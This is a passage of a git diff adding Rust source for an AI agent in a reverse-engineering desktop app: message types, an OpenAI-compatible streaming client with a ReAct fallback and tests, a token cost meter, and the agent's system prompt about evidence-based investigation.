serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +/// One piece of a message. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "snake_case")] +pub enum Block { + Text { + text: String, + }, + /// Model reasoning. Kept verbatim (with its signature) and replayed on tool turns. + Thinking { + thinking: String, + signature: String, + }, + RedactedThinking { + data: String, + }, + ToolUse { + id: String, + name: String, + input: Value, + }, + ToolResult { + tool_use_id: String, + content: String, + is_error: bool, + }, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Speaker { + User, + Assistant, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Msg { + pub role: Speaker, + pub blocks: Vec, +} + +impl Msg { + pub fn user_text(t: impl Into) -> Self { + Msg { role: Speaker::User, blocks: vec![Block::Text { text: t.into() }] } + } + + pub fn text(&self) -> String { + self.blocks + .iter() + .filter_map(|b| match b { + Block::Text { text } => Some(text.as_str()), + _ => None, + }) + .collect::>() + .join("") + } + + pub fn tool_uses(&self) -> Vec<(String, String, Value)> { + self.blocks + .iter() + .filter_map(|b| match b { + Block::ToolUse { id, name, input } => Some((id.clone(), name.clone(), input.clone())), + _ => None, + }) + .collect() + } +} + +/// A tool as offered to the model. +#[derive(Debug, Clone, PartialEq)] +pub struct ToolDef { + pub name: String, + pub description: String, + pub schema: Value, +} + +/// How hard the model should think: Claude's effort levels, least to most (the order counts: a +/// level a model lacks steps down to the nearest one below). +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Effort { + Low, + #[default] + Medium, + High, + /// Longer-horizon work than `high`. + Xhigh, + /// The deepest reasoning, with no limit on tokens spent. + Max, +} + +impl Effort { + /// Every level, least to most. + pub const ALL: [Effort; 5] = [Effort::Low, Effort::Medium, Effort::High, Effort::Xhigh, Effort::Max]; + + pub fn as_str(self) -> &'static str { + match self { + Effort::Low => "low", + Effort::Medium => "medium", + Effort::High => "high", + Effort::Xhigh => "xhigh", + Effort::Max => "max", + } + } + + pub fn parse(s: &str) -> Option { + let s = s.trim(); + Effort::ALL.into_iter().find(|e| e.as_str().eq_ignore_ascii_case(s)) + } + + /// This level on a model that offers only `levels`: the nearest one at or below it (as Claude + /// Code does), else the lowest it has. Unchanged when `levels` is empty. + pub fn within(self, levels: &[Effort]) -> Effort { + levels.iter().copied().filter(|l| *l <= self).max().or_else(|| levels.iter().copied().min()).unwrap_or(self) + } +} + +/// Why the model stopped. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum StopReason { + EndTurn, + ToolUse, + MaxTokens, + Refusal, + PauseTurn, + StopSequence, + Other(String), +} + +impl StopReason { + pub fn parse(s: &str) -> StopReason { + match s { + "end_turn" | "stop" => StopReason::EndTurn, + "tool_use" | "tool_calls" | "function_call" => StopReason::ToolUse, + "max_tokens" | "length" => StopReason::MaxTokens, + "refusal" | "content_filter" => StopReason::Refusal, + "pause_turn" => StopReason::PauseTurn, + "stop_sequence" => StopReason::StopSequence, + other => StopReason::Other(other.to_string()), + } + } + + pub fn as_str(&self) -> &str { + match self { + StopReason::EndTurn => "end_turn", + StopReason::ToolUse => "tool_use", + StopReason::MaxTokens => "max_tokens", + StopReason::Refusal => "refusal", + StopReason::PauseTurn => "pause_turn", + StopReason::StopSequence => "stop_sequence", + StopReason::Other(s) => s, + } + } +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct Usage { + pub input_tokens: u64, + pub output_tokens: u64, + pub cache_read_tokens: u64, + pub cache_write_tokens: u64, +} + +impl Usage { + pub fn add(&mut self, o: Usage) { + self.input_tokens = self.input_tokens.saturating_add(o.input_tokens); + self.output_tokens = self.output_tokens.saturating_add(o.output_tokens); + self.cache_read_tokens = self.cache_read_tokens.saturating_add(o.cache_read_tokens); + self.cache_write_tokens = self.cache_write_tokens.saturating_add(o.cache_write_tokens); + } +} + +/// One request to a chat backend. +#[derive(Debug, Clone)] +pub struct TurnRequest<'a> { + pub system: &'a str, + pub messages: &'a [Msg], + pub tools: &'a [ToolDef], + pub effort: Effort, + pub max_tokens: u32, +} + +/// One response. +#[derive(Debug, Clone, PartialEq)] +pub struct TurnResult { + pub message: Msg, + pub stop: StopReason, + pub usage: Usage, + pub model: String, +} + +/// Streaming pieces while a turn is generated. +#[derive(Debug, Clone, PartialEq)] +pub enum Delta { + Text(String), + Thinking(String), +} + +/// Cooperative cancellation for a conversation. +#[derive(Debug, Clone, Default)] +pub struct Stop(Arc); + +impl Stop { + pub fn stop(&self) { + self.0.store(true, Ordering::SeqCst); + } + + /// Clear a previous stop (at the start of the next message). + pub fn reset(&self) { + self.0.store(false, Ordering::SeqCst); + } + + pub fn is_stopped(&self) -> bool { + self.0.load(Ordering::SeqCst) + } + + pub fn check(&self) -> Result<(), ToolError> { + if self.is_stopped() { Err(ToolError::cancelled()) } else { Ok(()) } + } +} + +/// A model that can take one turn. Implemented by the HTTP backends (and fakes in tests). +pub trait ChatModel: Send { + fn turn(&mut self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), stop: &Stop) -> Result; + /// Model id, for display, journal and pricing. + fn model(&self) -> String; +} diff --git a/desktop/crates/ai/src/openai.rs b/desktop/crates/ai/src/openai.rs new file mode 100644 index 0000000..1d3c8df --- /dev/null +++ b/desktop/crates/ai/src/openai.rs @@ -0,0 +1,490 @@ +//! OpenAI chat completions (and every OpenAI-compatible server: OpenRouter, Ollama, LM Studio, +//! llama.cpp, vLLM…): streaming, function tools, and a ReAct text fallback for models without +//! tool calling. + +use crate::http::{self, SseEvent}; +use crate::model::{Block, ChatModel, Delta, Msg, Speaker, Stop, StopReason, ToolDef, TurnRequest, TurnResult, Usage}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +pub const OPENAI_BASE: &str = "https://api.openai.com/v1"; +pub const OPENROUTER_BASE: &str = "https://openrouter.ai/api/v1"; +pub const OPENAI_DEFAULT_MODEL: &str = "gpt-5"; +pub const OPENROUTER_DEFAULT_MODEL: &str = "anthropic/claude-opus-5-5"; +/// Kimi K3 (Moonshot AI) on OpenRouter: 1M-token context, tool calls. +pub const KIMI_K3: &str = "moonshotai/kimi-k3"; +/// OpenRouter models offered when adding it. +pub const OPENROUTER_MODELS: &[&str] = &[OPENROUTER_DEFAULT_MODEL, KIMI_K3]; +/// Generic app identification for OpenRouter (no personal data). +pub const APP_REFERER: &str = "https://github.com/storytold/craft-anything"; +pub const APP_TITLE: &str = "REI Reverse Engineer"; + +/// Well-known local servers: (name, base URL). +pub const LOCAL_SERVERS: &[(&str, &str)] = &[ + ("Ollama", "http://127.0.0.1:11434/v1"), + ("LM Studio", "http://127.0.0.1:1234/v1"), + ("llama.cpp server", "http://127.0.0.1:8080/v1"), + ("vLLM", "http://127.0.0.1:8000/v1"), +]; + +#[derive(Debug, Clone)] +pub struct OpenAi { + /// For messages ("OpenAI", "OpenRouter", "Ollama"…). + pub label: String, + pub base_url: String, + pub api_key: Option, + pub model: String, + pub extra_headers: Vec<(&'static str, String)>, + /// Use the ReAct text protocol instead of function tools. + pub react: bool, + /// Switch to ReAct automatically when the server rejects tools. + pub auto_react: bool, +} + +impl OpenAi { + pub fn official(base: Option<&str>, key: String, model: &str) -> Self { + Self::compatible("OpenAI", base.unwrap_or(OPENAI_BASE), Some(key), if model.is_empty() { OPENAI_DEFAULT_MODEL } else { model }) + } + + pub fn openrouter(base: Option<&str>, key: String, model: &str) -> Self { + let mut o = Self::compatible("OpenRouter", base.unwrap_or(OPENROUTER_BASE), Some(key), if model.is_empty() { OPENROUTER_DEFAULT_MODEL } else { model }); + o.extra_headers = vec![("HTTP-Referer", APP_REFERER.to_string()), ("X-Title", APP_TITLE.to_string())]; + o + } + + pub fn compatible(label: &str, base: &str, key: Option, model: &str) -> Self { + OpenAi { + label: label.to_string(), + base_url: base.trim_end_matches('/').to_string(), + api_key: key.filter(|k| !k.is_empty()), + model: model.to_string(), + extra_headers: Vec::new(), + react: false, + auto_react: true, + } + } + + fn url(&self, path: &str) -> String { + format!("{}/{path}", self.base_url) + } + + pub fn headers(&self) -> Vec<(&'static str, String)> { + let mut h = self.extra_headers.clone(); + if let Some(k) = &self.api_key { + h.push(("authorization", format!("Bearer {k}"))); + } + h + } + + pub fn body(&self, req: &TurnRequest<'_>) -> Value { + let mut system = req.system.to_string(); + if self.react && !req.tools.is_empty() { + system.push_str(&react_instructions(req.tools)); + } + let mut messages = vec![json!({"role": "system", "content": system})]; + for m in req.messages { + messages.extend(messages_json(m, self.react)); + } + let mut body = json!({ + "model": self.model, + "stream": true, + "stream_options": {"include_usage": true}, + "messages": messages, + }); + if !self.react + && !req.tools.is_empty() + && let Some(o) = body.as_object_mut() + { + let tools: Vec = req + .tools + .iter() + .map(|t| json!({"type": "function", "function": {"name": t.name, "description": t.description, "parameters": t.schema}})) + .collect(); + o.insert("tools".into(), Value::Array(tools)); + o.insert("tool_choice".into(), json!("auto")); + } + body + } + + /// Model ids from `GET /models`. + pub fn list_models(&self, timeout: std::time::Duration) -> Result, ToolError> { + let agent = http::quick_agent(timeout); + let v = http::get_json(&agent, &self.label, &self.url("models"), &self.headers())?; + let arr = v.get("data").or_else(|| v.get("models")).and_then(Value::as_array).cloned().unwrap_or_default(); + Ok(arr.iter().filter_map(|m| m.get("id").or_else(|| m.get("name")).and_then(Value::as_str).map(str::to_string)).collect()) + } + + fn stream_once(&self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), stop: &Stop) -> Result { + let agent = http::stream_agent(); + let reader = http::post_json(&agent, &self.label, &self.url("chat/completions"), &self.headers(), &self.body(req))?; + let mut st = ChatStream::default(); + http::parse_sse(reader, |ev| { + stop.check()?; + st.apply(&ev, on_delta)?; + Ok(!st.done) + })?; + stop.check()?; + let mut r = st.finish(&self.model)?; + if self.react { + react_postprocess(&mut r); + } + Ok(r) + } +} + +fn rejects_tools(e: &ToolError) -> bool { + let m = e.message.to_ascii_lowercase(); + let status = e.details.as_ref().and_then(|d| d.get("status")).and_then(Value::as_u64).unwrap_or(0); + (status == 400 || status == 422 || status == 500 || status == 404) && (m.contains("tool") || m.contains("function")) +} + +impl ChatModel for OpenAi { + fn turn(&mut self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), stop: &Stop) -> Result { + match self.stream_once(req, on_delta, stop) { + Err(e) if !self.react && self.auto_react && !req.tools.is_empty() && rejects_tools(&e) => { + log::info!("{} rejected tool calling; switching to the text protocol", self.label); + self.react = true; + self.stream_once(req, on_delta, stop) + } + other => other, + } + } + + fn model(&self) -> String { + self.model.clone() + } +} + +/// Wire messages for one neutral message (a user message with several tool results becomes +/// several `tool` messages). +pub fn messages_json(m: &Msg, react: bool) -> Vec { + match m.role { + Speaker::User => { + let mut out = Vec::new(); + let mut text = String::new(); + for b in &m.blocks { + match b { + Block::Text { text: t } => text.push_str(t), + Block::ToolResult { tool_use_id, content, is_error } => { + if react { + let tag = if *is_error { "Observation (error)" } else { "Observation" }; + text.push_str(&format!("{tag}: {content}\n")); + } else { + out.push(json!({"role": "tool", "tool_call_id": tool_use_id, "content": content})); + } + } + _ => {} + } + } + if !text.is_empty() { + out.push(json!({"role": "user", "content": text})); + } + out + } + Speaker::Assistant => { + let text = m.text(); + if react { + return vec![json!({"role": "assistant", "content": text})]; + } + let calls: Vec = m + .tool_uses() + .into_iter() + .map(|(id, name, input)| json!({"id": id, "type": "function", "function": {"name": name, "arguments": input.to_string()}})) + .collect(); + let mut v = json!({"role": "assistant", "content": if text.is_empty() { Value::Null } else { Value::String(text) }}); + if !calls.is_empty() + && let Some(o) = v.as_object_mut() + { + o.insert("tool_calls".into(), Value::Array(calls)); + } + vec![v] + } + } +} + +#[derive(Debug, Default)] +struct CallAcc { + id: String, + name: String, + args: String, +} + +/// Accumulates a streamed chat completion. +#[derive(Debug, Default)] +pub struct ChatStream { + text: String, + calls: BTreeMap, + pub usage: Usage, + pub finish: Option, + pub model: String, + pub done: bool, +} + +impl ChatStream { + pub fn apply(&mut self, ev: &SseEvent, on_delta: &mut dyn FnMut(Delta)) -> Result<(), ToolError> { + let data = ev.data.trim(); + if data.is_empty() { + return Ok(()); + } + if data == "[DONE]" { + self.done = true; + return Ok(()); + } + let v: Value = + serde_json::from_str(data).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("The server sent a chunk we couldn't read: {e}")))?; + if let Some(err) = v.get("error") { + let msg = err.get("message").and_then(Value::as_str).unwrap_or("unknown error"); + return Err(ToolError::new(ErrorCode::EngineMissing, format!("Stream error: {msg}"))); + } + if let Some(m) = v.get("model").and_then(Value::as_str) { + self.model = m.to_string(); + } + if let Some(u) = v.get("usage").filter(|u| u.is_object()) { + self.usage.output_tokens = u.get("completion_tokens").and_then(Value::as_u64).unwrap_or(self.usage.output_tokens); + let cached = u.pointer("/prompt_tokens_details/cached_tokens").and_then(Value::as_u64); + if let Some(c) = cached { + self.usage.cache_read_tokens = c; + } + // prompt_tokens includes the cached ones; input_tokens is the rest, as Anthropic reports + // it, so the context budget and the cost count cached tokens once (#252). + if let Some(p) = u.get("prompt_tokens").and_then(Value::as_u64) { + self.usage.input_tokens = p.saturating_sub(cached.unwrap_or(0)); + } + } + let Some(choice) = v.get("choices").and_then(Value::as_array).and_then(|a| a.first()) else { return Ok(()) }; + let d = choice.get("delta").cloned().unwrap_or(Value::Null); + if let Some(t) = d.get("content").and_then(Value::as_str).filter(|t| !t.is_empty()) { + self.text.push_str(t); + on_delta(Delta::Text(t.to_string())); + } + if let Some(t) = d.get("reasoning_content").or_else(|| d.get("reasoning")).and_then(Value::as_str).filter(|t| !t.is_empty()) { + on_delta(Delta::Thinking(t.to_string())); + } + if let Some(calls) = d.get("tool_calls").and_then(Value::as_array) { + for (pos, c) in calls.iter().enumerate() { + let idx = c.get("index").and_then(Value::as_u64).unwrap_or(pos as u64); + if self.calls.len() >= 256 && !self.calls.contains_key(&idx) { + continue; + } + let acc = self.calls.entry(idx).or_default(); + if let Some(id) = c.get("id").and_then(Value::as_str) { + acc.id = id.to_string(); + } + if let Some(n) = c.pointer("/function/name").and_then(Value::as_str) { + acc.name.push_str(n); + } + if let Some(a) = c.pointer("/function/arguments").and_then(Value::as_str) { + acc.args.push_str(a); + } + } + } + if let Some(f) = choice.get("finish_reason").and_then(Value::as_str) { + self.finish = Some(f.to_string()); + } + Ok(()) + } + + pub fn finish(self, fallback_model: &str) -> Result { + let mut blocks = Vec::new(); + if !self.text.is_empty() { + blocks.push(Block::Text { text: self.text }); + } + let has_calls = !self.calls.is_empty(); + for (i, (_, c)) in self.calls.into_iter().enumerate() { + let input = + if c.args.trim().is_empty() { json!({}) } else { serde_json::from_str(&c.args).unwrap_or_else(|_| crate::anthropic::invalid_input(&c.args)) }; + let id = if c.id.is_empty() { format!("call_{i}") } else { c.id }; + blocks.push(Block::ToolUse { id, name: c.name, input }); + } + let stop = match self.finish.as_deref() { + Some(f) => StopReason::parse(f), + None if has_calls => StopReason::ToolUse, + None if self.done => StopReason::EndTurn, + None => return Err(ToolError::new(ErrorCode::Truncated, "The answer stream ended early.")), + }; + // Some servers say "stop" even when they emitted tool calls. + let stop = if has_calls { StopReason::ToolUse } else { stop }; + let model = if self.model.is_empty() { fallback_model.to_string() } else { self.model }; + Ok(TurnResult { message: Msg { role: Speaker::Assistant, blocks }, stop, usage: self.usage, model }) + } +} + +/// Extra system text for the ReAct protocol. +pub fn react_instructions(tools: &[ToolDef]) -> String { + let mut s = String::from( + "\n\n## Using tools (text protocol)\nYou can't call tools directly. To use one, reply with exactly two lines and nothing after them:\nAction: \nAction Input: \nYou'll get the result back as an Observation. When you have the answer, start a line with \"Final Answer:\" and write it.\n\nTools:\n", + ); + for t in tools { + s.push_str(&format!("- {}: {} Parameters: {}\n", t.name, t.description, t.schema)); + } + s +} + +/// A ReAct step parsed from model text. +#[derive(Debug, Clone, PartialEq)] +pub enum ReactStep { + Action { + tool: String, + input: Value, + }, + Final(String), + /// Plain text with no protocol markers (treated as the answer). + Text(String), +} + +/// Parse the model's text according to the ReAct protocol. +pub fn parse_react(text: &str) -> ReactStep { + if let Some(pos) = text.find("Final Answer:") { + return ReactStep::Final(text.get(pos + "Final Answer:".len()..).unwrap_or_default().trim().to_string()); + } + let Some(apos) = text.find("Action:") else { return ReactStep::Text(text.trim().to_string()) }; + let after = text.get(apos + "Action:".len()..).unwrap_or_default(); + let tool = after.lines().next().unwrap_or_default().trim().trim_matches('`').to_string(); + let input = match after.find("Action Input:") { + Some(ipos) => { + let raw = after.get(ipos + "Action Input:".len()..).unwrap_or_default().trim(); + let raw = raw.trim_start_matches("```json").trim_start_matches("```").trim(); + extract_json_object(raw).unwrap_or_else(|| json!({})) + } + None => json!({}), + }; + if tool.is_empty() { ReactStep::Text(text.trim().to_string()) } else { ReactStep::Action { tool, input } } +} + +/// The first balanced `{…}` in `s`, parsed. +fn extract_json_object(s: &str) -> Option { + let start = s.find('{')?; + let mut depth = 0usize; + let mut in_str = false; + let mut esc = false; + for (i, c) in s.char_indices().skip_while(|(i, _)| *i < start) { + if in_str { + match (esc, c) { + (true, _) => esc = false, + (false, '\\') => esc = true, + (false, '"') => in_str = false, + _ => {} + } + continue; + } + match c { + '"' => in_str = true, + '{' => depth += 1, + '}' => { + depth = depth.saturating_sub(1); + if depth == 0 { + return serde_json::from_str(s.get(start..=i)?).ok(); + } + } + _ => {} + } + } + None +} + +static REACT_COUNTER: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0); + +/// Turn ReAct text into neutral tool-use blocks. +fn react_postprocess(r: &mut TurnResult) { + let text = r.message.text(); + if let ReactStep::Action { tool, input } = parse_react(&text) { + let n = REACT_COUNTER.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + r.message.blocks.push(Block::ToolUse { id: format!("react_{n}"), name: tool, input }); + r.stop = StopReason::ToolUse; + } else { + r.stop = StopReason::EndTurn; + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::Effort; + + #[test] + fn react_parsing() { + assert_eq!( + parse_react("Thought: look\nAction: core_session_show\nAction Input: {\"a\": \"}\"}\nmore"), + ReactStep::Action { tool: "core_session_show".into(), input: json!({"a": "}"}) } + ); + assert_eq!(parse_react("Action: core_targets_list\n"), ReactStep::Action { tool: "core_targets_list".into(), input: json!({}) }); + assert_eq!(parse_react("blah\nFinal Answer: it saves JSON"), ReactStep::Final("it saves JSON".into())); + assert_eq!(parse_react("just words"), ReactStep::Text("just words".into())); + assert_eq!(parse_react("Action: x\nAction Input: ```json\n{\"k\":1}\n```"), ReactStep::Action { tool: "x".into(), input: json!({"k": 1}) }); + } + + #[test] + fn tool_call_accumulation() { + let chunks = [ + json!({"model":"gpt-x","choices":[{"delta":{"role":"assistant","content":"Let me look"}}]}), + json!({"choices":[{"delta":{"tool_calls":[{"index":0,"id":"c1","function":{"name":"core_session_","arguments":""}}]}}]}), + json!({"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"name":"show","arguments":"{\"x\""}}]}}]}), + json!({"choices":[{"delta":{"tool_calls":[{"index":1,"id":"c2","function":{"name":"core_targets_list","arguments":"{}"}}]}}]}), + json!({"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":":1}"}}]}}]}), + json!({"choices":[{"delta":{},"finish_reason":"tool_calls"}]}), + json!({"choices":[],"usage":{"prompt_tokens":11,"completion_tokens":5}}), + ]; + let mut st = ChatStream::default(); + let mut text = String::new(); + for c in chunks { + st.apply(&SseEvent { event: None, data: c.to_string() }, &mut |d| { + if let Delta::Text(t) = d { + text.push_str(&t) + } + }) + .unwrap(); + } + st.apply(&SseEvent { event: None, data: "[DONE]".into() }, &mut |_| {}).unwrap(); + let r = st.finish("m").unwrap(); + assert_eq!(text, "Let me look"); + assert_eq!(r.stop, StopReason::ToolUse); + assert_eq!(r.usage.input_tokens, 11); + // #252: cached prompt tokens are part of prompt_tokens, and are counted once. + let mut st = ChatStream::default(); + let usage = json!({"choices": [], "usage": {"prompt_tokens": 100_000, "completion_tokens": 10, "prompt_tokens_details": {"cached_tokens": 65_536}}}); + let end = json!({"choices": [{"delta": {}, "finish_reason": "stop"}]}); + for data in [end.to_string(), usage.to_string(), "[DONE]".into()] { + st.apply(&SseEvent { event: None, data }, &mut |_| {}).unwrap(); + } + let u = st.finish("m").unwrap().usage; + assert_eq!((u.input_tokens, u.cache_read_tokens, u.output_tokens), (34_464, 65_536, 10)); + assert_eq!( + r.message.tool_uses(), + vec![("c1".into(), "core_session_show".into(), json!({"x": 1})), ("c2".into(), "core_targets_list".into(), json!({}))] + ); + } + + #[test] + fn wire_messages() { + let o = OpenAi::openrouter(None, "k".into(), ""); + assert!(o.headers().iter().any(|(k, _)| *k == "X-Title")); + assert!(o.headers().iter().any(|(k, v)| *k == "authorization" && v == "Bearer k")); + let local = OpenAi::compatible("Ollama", "http://127.0.0.1:11434/v1/", None, "llama3"); + assert!(local.headers().is_empty()); + assert_eq!(local.url("models"), "http://127.0.0.1:11434/v1/models"); + let assistant = Msg { role: Speaker::Assistant, blocks: vec![Block::ToolUse { id: "c1".into(), name: "t".into(), input: json!({"a":1}) }] }; + let results = Msg { + role: Speaker::User, + blocks: vec![ + Block::ToolResult { tool_use_id: "c1".into(), content: "ok".into(), is_error: false }, + Block::ToolResult { tool_use_id: "c2".into(), content: "bad".into(), is_error: true }, + ], + }; + let msgs = vec![Msg::user_text("q"), assistant, results]; + let tools = vec![ToolDef { name: "t".into(), description: "d".into(), schema: json!({"type":"object"}) }]; + let b = local.body(&TurnRequest { system: "S", messages: &msgs, tools: &tools, effort: Effort::Low, max_tokens: 100 }); + let m = b["messages"].as_array().unwrap(); + assert_eq!(m[0]["role"], "system"); + assert_eq!(m[2]["tool_calls"][0]["function"]["arguments"], "{\"a\":1}"); + assert_eq!(m[3]["role"], "tool"); + assert_eq!(m[4]["tool_call_id"], "c2"); + assert_eq!(b["tool_choice"], "auto"); + let mut react = local.clone(); + react.react = true; + let b = react.body(&TurnRequest { system: "S", messages: &msgs, tools: &tools, effort: Effort::Low, max_tokens: 100 }); + assert!(b.get("tools").is_none()); + assert!(b["messages"][0]["content"].as_str().unwrap().contains("Action Input:")); + assert!(b["messages"][3]["content"].as_str().unwrap().contains("Observation (error): bad")); + } +} diff --git a/desktop/crates/ai/src/price.rs b/desktop/crates/ai/src/price.rs new file mode 100644 index 0000000..ea9c6f3 --- /dev/null +++ b/desktop/crates/ai/src/price.rs @@ -0,0 +1,94 @@ +//! The cost meter: USD per million tokens by model, overridable in settings. + +use crate::config::Price; +use crate::model::Usage; +use std::collections::BTreeMap; + +const fn p(input: f64, output: f64, cache_read: f64) -> Price { + Price { input_per_mtok: input, output_per_mtok: output, cache_read_per_mtok: Some(cache_read), cache_write_per_mtok: None } +} + +/// Built-in list prices (USD per million tokens, first-party API rates, checked 2026-10). +pub fn builtin(model: &str) -> Option { + let m = model.rsplit('/').next().unwrap_or(model); + Some(match m { + "claude-opus-5-5" => p(4.0, 20.0, 0.20), + "claude-sonnet-5-5" => p(2.0, 10.0, 0.20), + "claude-haiku-5-5" => p(0.10, 0.50, 0.01), + "claude-fable-5-1" => p(10.0, 50.0, 0.25), + "claude-opus-5" => p(5.0, 25.0, 0.50), + "claude-sonnet-5" => p(2.0, 10.0, 0.20), + // OpenRouter's list price (checked 2026-10-20); cached input isn't listed, so the default. + "kimi-k3" => Price { input_per_mtok: 0.239, output_per_mtok: 11.936, cache_read_per_mtok: None, cache_write_per_mtok: None }, + _ => return None, + }) +} + +/// Cost of one turn's usage, or `None` when the price is unknown. Local models cost nothing. +pub fn cost(model: &str, usage: &Usage, overrides: &BTreeMap, local: bool) -> Option { + if local { + return Some(0.0); + } + let price = overrides.get(model).copied().or_else(|| builtin(model))?; + let per = |tokens: u64, rate: f64| tokens as f64 * rate / 1_000_000.0; + let read = price.cache_read_per_mtok.unwrap_or(price.input_per_mtok * 0.1); + let write = price.cache_write_per_mtok.unwrap_or(price.input_per_mtok * 1.25); + Some( + per(usage.input_tokens, price.input_per_mtok) + + per(usage.output_tokens, price.output_per_mtok) + + per(usage.cache_read_tokens, read) + + per(usage.cache_write_tokens, write), + ) +} + +/// Running totals for a conversation. +#[derive(Debug, Clone, Default, PartialEq)] +pub struct Meter { + pub usage: Usage, + pub cost_usd: f64, + /// False once any turn had an unknown price. + pub cost_known: bool, + turns: u64, +} + +impl Meter { + pub fn add(&mut self, usage: Usage, cost: Option) { + if self.turns == 0 { + self.cost_known = true; + } + self.turns += 1; + self.usage.add(usage); + match cost { + Some(c) => self.cost_usd += c, + None => self.cost_known = false, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn price_math() { + let u = Usage { input_tokens: 1_000_000, output_tokens: 100_000, cache_read_tokens: 1_000_000, cache_write_tokens: 0 }; + let c = cost("claude-opus-5-5", &u, &BTreeMap::new(), false).unwrap(); + assert!((c - (4.0 + 2.0 + 0.2)).abs() < 1e-9, "{c}"); + assert_eq!(cost("anthropic/claude-sonnet-5-5", &Usage { output_tokens: 1_000_000, ..Default::default() }, &BTreeMap::new(), false), Some(10.0)); + assert_eq!(cost("mystery", &u, &BTreeMap::new(), false), None); + // Kimi K3 through OpenRouter is priced by its model id. + let k = + cost("moonshotai/kimi-k3", &Usage { input_tokens: 1_000_000, output_tokens: 1_000_000, ..Default::default() }, &BTreeMap::new(), false).unwrap(); + assert!((k - (0.239 + 11.936)).abs() < 1e-9, "{k}"); + assert_eq!(cost("mystery", &u, &BTreeMap::new(), true), Some(0.0)); + let mut o = BTreeMap::new(); + o.insert("mystery".into(), Price { input_per_mtok: 1.0, output_per_mtok: 1.0, cache_read_per_mtok: None, cache_write_per_mtok: None }); + let w = Usage { cache_write_tokens: 1_000_000, ..Default::default() }; + assert_eq!(cost("mystery", &w, &o, false), Some(1.25)); + let mut m = Meter::default(); + m.add(u, Some(1.0)); + m.add(u, None); + assert!(!m.cost_known); + assert_eq!(m.usage.input_tokens, 2_000_000); + } +} diff --git a/desktop/crates/ai/src/prompt.rs b/desktop/crates/ai/src/prompt.rs new file mode 100644 index 0000000..aa33dde --- /dev/null +++ b/desktop/crates/ai/src/prompt.rs @@ -0,0 +1,71 @@ +//! The system prompt for the built-in agent (and the preamble handed to agent CLIs). + +use crate::model::Effort; + +const METHOD: &str = "\ +You are the investigator inside REI Reverse Engineer, an app that shows people how a piece of software works and helps them rebuild it. You work through tools that inspect programs, apps, files, websites and devices. Every analysis tool returns evidence with an id (ev_…). + +How to work: +- Observe, then derive, then infer. Say which one each claim is: seen directly in the target, worked out from what was seen, or a best guess. +- Cite evidence ids for every factual claim. If you have no evidence for something, say so plainly. +- Absence is not proof. Not finding a string, a call or a file only means your search didn't find it; say how far you looked. +- Predict, then verify. Before an expensive step, write down what you expect to see, then check it against the result. +- Summary first. Start with overviews and summaries, then page into detail (offset/limit) only where it matters. +- Keep three lists apart in your answers: what was observed, what you infer, and what is still unknown. +- Static analysis never shows that code actually ran. Only tools that run the target can show that, and they ask the user first. +- Never repeat an identical call that already failed or already answered. +- If a tool you need isn't in your list, call list_toolsets, then enable_toolset. + +Working memory (the investigation files): +1. The current brief, plan, hypotheses, findings and handoff are below. Read them before acting; if a handoff exists, resume from it instead of starting over. +2. On a new question, call core_brief_write and core_plan_update before any analysis tool. +3. After each batch of tool calls, keep the memory current: core_plan_update step statuses, core_hypothesis_record / core_hypothesis_update as claims are tested, core_finding_record once something is settled (findings must cite evidence ids). +4. Before you finish your reply, call core_handoff_write: where things stand, what's next, and traps to avoid. +5. Reports come from findings and evidence, never from chat alone."; + +const BEGINNER: &str = "\ +The user is new to this. Use plain, everyday words. When a technical term is unavoidable, explain it in a short phrase the first time (for example: \"a function, which is a named piece of the program that does one job\"). Lead with the answer, keep it short, and offer one next step."; + +const EXPERIENCED: &str = "\ +The user is experienced. Be terse and precise: addresses, symbol names, evidence ids, no hand-holding."; + +/// Build the system prompt. `investigation` is the JSON of `core_investigation_show` at conversation +/// start (part of the stable, cached prefix). +pub fn system_prompt(beginner: bool, clean_room: bool, investigation: &str) -> String { + let mode = if clean_room { + "Analysis mode: Clean room. Nothing inside a target is looked at (its code, files or page source): only the tools that work from outside run, and the rest are refused. If the question needs a look inside, say so: the person can switch on Deep mode." + } else { + "Analysis mode: Deep. Use every tool that helps: our own engines read a target's code, files and pages, and Ghidra adds its decompiler when it's installed. Evidence records which engine produced it." + }; + format!("{METHOD}\n\n{}\n\n{mode}\n\n## Investigation so far\n{investigation}\n", if beginner { BEGINNER } else { EXPERIENCED }) +} + +/// Preamble for an agent CLI, which brings its own system prompt: we add our method and memory +/// loop, and point it at our MCP tools. +pub fn cli_preamble(beginner: bool) -> String { + format!( + "{METHOD}\n\n{}\n\nUse the craft-anything MCP tools for all analysis (start with core_investigation_show).\n\n## Request\n", + if beginner { BEGINNER } else { EXPERIENCED } + ) +} + +/// The effort for every message: high, unless config.toml sets another level on purpose +/// (short questions are not quietly downgraded). +pub fn choose_effort(configured: Option) -> Effort { + configured.unwrap_or(Effort::High) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn prompt_switches_mode_and_effort() { + let b = system_prompt(true, true, "{}"); + assert!(b.contains("plain, everyday words") && b.contains("Clean room") && b.contains("core_handoff_write")); + let e = system_prompt(false, false, "{\"brief\":null}"); + assert!(e.contains("terse") && e.contains("Deep") && 